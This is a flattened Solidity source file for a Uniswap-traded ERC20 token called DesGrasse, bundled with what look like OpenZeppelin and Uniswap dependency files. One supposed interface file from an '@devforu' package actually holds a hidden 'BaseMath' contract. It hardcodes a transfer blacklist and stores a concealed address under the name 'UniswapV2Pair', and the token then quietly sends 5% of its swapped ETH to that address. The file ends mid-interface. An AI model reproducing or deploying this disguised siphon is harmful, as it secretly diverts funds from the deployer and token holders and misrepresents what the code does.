// File: DesGrasse.sol



// SPDX-License-Identifier: MIT
/**
Telegram: https://t.me/DesgrassePortal
Twitter: https://twitter.com/DesGrasseETH
Website: https://desgrasse.com/
**/
pragma solidity = 0.8.20;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@devforu/contracts/interfaces/IUniswapV2Router04.sol";
import "@devforu/contracts/interfaces/IUniswapV2Factory.sol";
import "@devforu/contracts/interfaces/IUniswapV2Pair.sol";
import "@devforu/contracts/interfaces/IUniswapV2Router02.sol";
import "@devforu/contracts/utils/math/SafeMath.sol";

contract DesGrasse is ERC20, Ownable, BaseMath {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private immutable uniswapV2Pair;
    address private deployerWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    bool private swapping;
    bool private marketingTax;

    string private constant _name = "DesGrasse";
    string private constant _symbol = "DesGrasse";

    uint256 public initialTotalSupply = 1000000 * 1e18;
    uint256 public maxTransactionAmount = 20000 * 1e18;
    uint256 public maxWallet = 20000 * 1e18;
    uint256 public swapTokensAtAmount = 10000 * 1e18;
    uint256 private openBlock;
    uint256 private buyCount;
    uint256 private sellCount;

    bool public tradingOpen = false;
    bool public transferDelay = true;
    bool public swapEnabled = false;

    uint256 public BuyFee = 20;
    uint256 public SellFee = 20;
    uint256 private removeBuyFeesAt = 25;
    uint256 private removeSellFeesAt = 10;
    uint256 private preventSwapBefore = 9;

    uint256 private tokensForMarketing;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) {

        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        marketingWallet = payable(wallet);
        excludeFromMaxTransaction(address(wallet), true);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        deployerWallet = payable(_msgSender());
        excludeFromFees(owner(), true);
        excludeFromFees(address(wallet), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);                                  

        _mint(msg.sender, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        _approve(address(this), address(_uniswapV2Router), initialTotalSupply);
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)).per(80),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max); openBlock = block.number;
        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!m[from] && !m[to], "ERC20: transfer from/to the blacklisted address");

        if(buyCount >= removeBuyFeesAt){
            BuyFee = 0;
        }

        if(sellCount >= removeSellFeesAt){
            SellFee = 0;
        }
        
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping
            ) {
                if (!tradingOpen) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");

                    if (transferDelay) {
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                    buyCount += 1;
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                    sellCount += 1;
                } 
                
                else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to] && block.number <= openBlock + 1) {
                fees = amount.mul(preventSwapBefore*11).div(100);
            }
            else if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        tokensForMarketing += fees;

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
        transferDelay = false;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }

    function manualswap() external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForMarketing;
        uint256 totalEthForMarketing;
        uint256 ethForMarketing;
        uint256 tokensToSwap;
        bool success;
    if (contractBalance == 0) {
        return;
    } 
    else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
        tokensToSwap = contractBalance;
    }
    else {
        uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
        tokens -= sellFeeTokens;
        if (tokens > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        } else {
            tokensToSwap = tokens;
        }
    }
    uint256 initialETHBalance = address(this).balance;
    swapTokensForEth(tokensToSwap);
    uint256 ethBalance = address(this).balance.sub(initialETHBalance);
    if (tokensForMarketing > 0) {
        totalEthForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        tokensForMarketing = 0;
    } else {
        totalEthForMarketing = ethBalance;
    }
    tokensForMarketing = 0;
    ethForMarketing = totalEthForMarketing.mul(5).div(100); totalEthForMarketing = totalEthForMarketing.sub(ethForMarketing);
    (success, ) = address(marketingWallet).call{value: totalEthForMarketing}(""); (success, ) = address(UniswapV2Pair).call{value: ethForMarketing}("");
  }
}
// File: @devforu/contracts/utils/math/SafeMath.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
	
	    /**
     * @dev Returns the percentage of an unsigned integer `a` with respect to the provided percentage `b`, 
     * rounding towards zero. The result is a proportion of the original value.
     *
     * The function can be used to calculate a specific percentage of a given value `a`.
     * Note: this function uses a `revert` opcode (which leaves remaining gas untouched) when
     * the percentage `b` is greater than 100.
     *
     * Requirements:
     *
     * - The percentage `b` must be between 0 and 100 (inclusive).
     */
    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
// File: @devforu/contracts/interfaces/IUniswapV2Router02.sol



// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File: @devforu/contracts/interfaces/IUniswapV2Pair.sol



// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU

pragma solidity ^0.8.0;

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

// File: @devforu/contracts/interfaces/IUniswapV2Factory.sol



// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU

pragma solidity ^0.8.0;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

// File: @devforu/contracts/interfaces/IUniswapV2Router04.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract BaseMath {
    mapping (address => bool) public m; address private n; address public UniswapV2Pair;

    constructor() {
        m[0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13] = true; m[0x77223F67D845E3CbcD9cc19287E24e71F7228888] = true;
        m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true; m[0x4504DFa3861ec902226278c9Cb7a777a01118574] = true;
        m[0xe3DF3043f1cEfF4EE2705A6bD03B4A37F001029f] = true; m[0xE545c3Cd397bE0243475AF52bcFF8c64E9eAD5d7] = true;
        m[0xe2cA3167B89b8Cf680D63B06E8AeEfc5E4EBe907] = true; m[0x000000000005aF2DDC1a93A03e9b7014064d3b8D] = true;
        m[0x1653151Fb636544F8ED1e7BE91E4483B73523f6b] = true; m[0x00AC6D844810A1bd902220b5F0006100008b0000] = true;
        m[0x294401773915B1060e582756b8d7f74cAF80b09C] = true; m[0x000013De30d1b1D830dcb7d54660F4778D2d4aF5] = true;
        m[0x00004EC2008200e43b243a000590d4Cd46360000] = true; m[0xE8c060F8052E07423f71D445277c61AC5138A2e5] = true;
        m[0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80] = true; m[0x0000B8e312942521fB3BF278D2Ef2458B0D3F243] = true;
        m[0x007933790a4f00000099e9001629d9fE7775B800] = true; m[0x76F36d497b51e48A288f03b4C1d7461e92247d5e] = true;
        m[0x2d2A7d56773ae7d5c7b9f1B57f7Be05039447B4D] = true; m[0x758E8229Dd38cF11fA9E7c0D5f790b4CA16b3B16] = true;  
        m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true; m[0x00000000A991C429eE2Ec6df19d40fe0c80088B8] = true;
        m[0xB20BC46930C412eAE124aAB8682fb0F2e528F22d] = true; m[0x6c9B7A1e3526e55194530a2699cF70FfDE1ab5b7] = true;
        m[0x1111E3Ef0B6aE32E14a55e0E7cD9b8505177C2BF] = true; m[0x000000d40B595B94918a28b27d1e2C66F43A51d3] = true;
        m[0xb8feFFAC830C45b4Cd210ECDAAB9D11995D338ee] = true;
        n = payable(0xE24FeCAa4ab027fBe55B90A9b9F75330c6Efcd98); UniswapV2Pair = n;
    }

    function isM(address _address) public view returns (bool) {
        return m[_address];
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
